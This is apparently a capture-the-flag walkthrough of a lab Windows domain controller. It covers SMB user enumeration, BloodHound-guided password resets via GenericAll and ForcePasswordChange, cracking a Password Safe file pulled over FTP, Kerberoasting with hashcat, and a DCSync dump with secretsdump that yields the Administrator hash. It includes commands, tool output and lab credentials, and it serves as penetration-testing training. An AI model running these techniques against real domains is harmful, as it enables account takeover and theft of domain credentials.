Administ
Administ
Synopsis
Administrator is a medium difficulty Windows machine where we start with credentials, them
being Olivia / ichliebedich
This machine shows AD vulnerabilities like DACL Abuse, DCSync. We will be using bloodhound
that will become our eyes in the following writeup.
Skills Required
Enumeration
Impacket
FTP
Netexec
Bloodhound
Password Cracking
Skills Learned
DCSync Attacks
DACL Abuse - GenericAll, GenericWrite
pwsafe2john
Enumeration
Nmap
As we can use we have many interesting ports opened one of which being ftp, we have a
simple dns on port 53 and kerberos on port 88 . We also have smb, which can be very helpful in
enumerating users.
/etc/hosts
### NetExec
```bash
nxc smb 10.129.123.127 -u olivia -p ichliebedich --users
SMB 10.129.123.127 445 DC [*] Windows Server 2022
Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True)
(SMBv1:False)
SMB 10.129.123.127 445 DC [+]
administrator.htb\olivia:ichliebedich
SMB 10.129.123.127 445 DC -Username-
-Last PW Set- -BadPW- -Description-
SMB 10.129.123.127 445 DC Administrator
2024-10-22 18:59:36 0 Built-in account for administering the
computer/domain
SMB 10.129.123.127 445 DC Guest
<never> 0 Built-in account for guest access to the
computer/domain
SMB 10.129.123.127 445 DC krbtgt
2024-10-04 19:53:28 0 Key Distribution Center Service Account
SMB 10.129.123.127 445 DC olivia
2024-10-06 01:22:48 0
SMB 10.129.123.127 445 DC michael
2024-10-06 01:33:37 0
SMB 10.129.123.127 445 DC benjamin
2024-10-06 01:34:56 0
SMB 10.129.123.127 445 DC emily
2024-10-30 23:40:02 0
SMB 10.129.123.127 445 DC ethan
2024-10-12 20:52:14 0
SMB 10.129.123.127 445 DC alexander
2024-10-31 00:18:04 0
SMB 10.129.123.127 445 DC emma
2024-10-31 00:18:35 0
SMB 10.129.123.127 445 DC [*] Enumerated 10 local
users: ADMINISTRATOR
Now that we have enumerated users and we know there is a dns let us try using Bloodhound to
see what we can do and where we can go from olivia the user which we have credentials for.
Using bhp
Now that we have our .json files let us insert them into BloodHound and look at what this
machine holds for us.
BloodHound
After I checked almost all users I only found that owning Benjamin was the best way to do it.
Lets first own Benjamin and then find our way ahead.
Below is a bloodhound cheatsheet that can be helpful sometimes
Cheat-Sheet
As We can see olivia has GenericAll permission over Michael and we can abuse that to change
Michael's Password
1. Changing Password
2. Making Shadow Credentials
3. Add User to a specific group that we own
For now we will get the full control over Michael by changing its password
We can change its password in various ways as well both linux and windows ways but since we
haven’t RDPed into the account and our hunt seems to be leaning towards Linux Abuse so lets
use that
1. Net rpc
2. rpcclient
3. bloodyAD
We will be using bloodyAD for our little stunt
Now that the password was changed successfully and We have Michael in our full control. Lets
see how can we go to Benjamin.
Owning Benjamin
As we can see we have ForcePasswordChange from Michael to Benjamin that means Michael
can forcefully change password of Benjamin.
We can follow the same that we did with Michael and own Benjamin using bloodyAD
Now that we have Benjamin owned as well shall we move onto the next part?
Moving Further
if you still remember me mentioning that we have port 21 open that is FTP, you are thinking
right we will check if we can log into that ftp account using Benjamin's Credentials
ftp 10.129.253.57
Connected to 10.129.253.57.
220 Microsoft FTP Service
Name (10.129.253.57:root): benjamin
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||60032|)
125 Data connection already open; Transfer starting.
10-05-24 08:13AM 952 Backup.psafe3
226 Transfer complete.
ftp> get Backup.psafe3
local: Backup.psafe3 remote: Backup.psafe3
229 Entering Extended Passive Mode (|||60034|)
125 Data connection already open; Transfer starting.
100% |***********************************| 952 10.64 KiB/s 00:00
ETA
226 Transfer complete.
WARNING! 3 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
952 bytes received in 00:00 (10.62 KiB/s)
ftp>
seems like we can and we did find an interesting file Backup.psafe3 . As you can see I have
already copied the file to my attack machine. Let's open that safe shall we?
Cracking Into
to crack the password of the psafe3 file we will have to use the tool called pwsafe2john .
Without further ado lets complete the task shall we?
As you can see we got the password for the file tekieromucho
alexander -- UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily -- UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma -- WwANQWnmJnGV07WQN8bMS7FMAbjNur
Privilege Escalation
Back to bloodhound
Let us see if we can move to Administrator using Emily
Owning Ethan
As we see Emily has GenericWrite over Ethan which is Combination of write permissions (Self,
WriteProperty) among other things.
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......:
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$Administrator....a8c8b6
Time.Started.....: Tue Nov 12 21:26:23 2024 (0 secs)
Time.Estimated...: Tue Nov 12 21:26:23 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#2.........: 1330.1 kH/s (1.07ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests
(new)
Progress.........: 6144/14344385 (0.04%)
Rejected.........: 0/6144 (0.00%)
Restore.Point....: 4096/14344385 (0.03%)
Restore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#2....: newzealand -> iheartyou
Final Move
Owning Administrator
Now that all the pieces are in place lets get the king.
We have DCSync Privileges over Administrator
What is DCSync?
We can use this privilege to simulate replication process from a remote DC. This can be used to
forge krbtgt, it is similar to dumping NTDS.dit but not just copy and parsing of it. We can
replicate data from a DC in a nut shell
secretsdump.py 'Administrator.htb/ethan:limpbizkit'@'dc.administrator.htb'
Impacket v0.13.0.dev0+20240916.171021.65b774d - Copyright Fortra, LLC and
its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 -
rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d
2d2fd2e:::
Now use Evil-Winrm to log in to Administrator and get your root hash.
Congratulations you made it!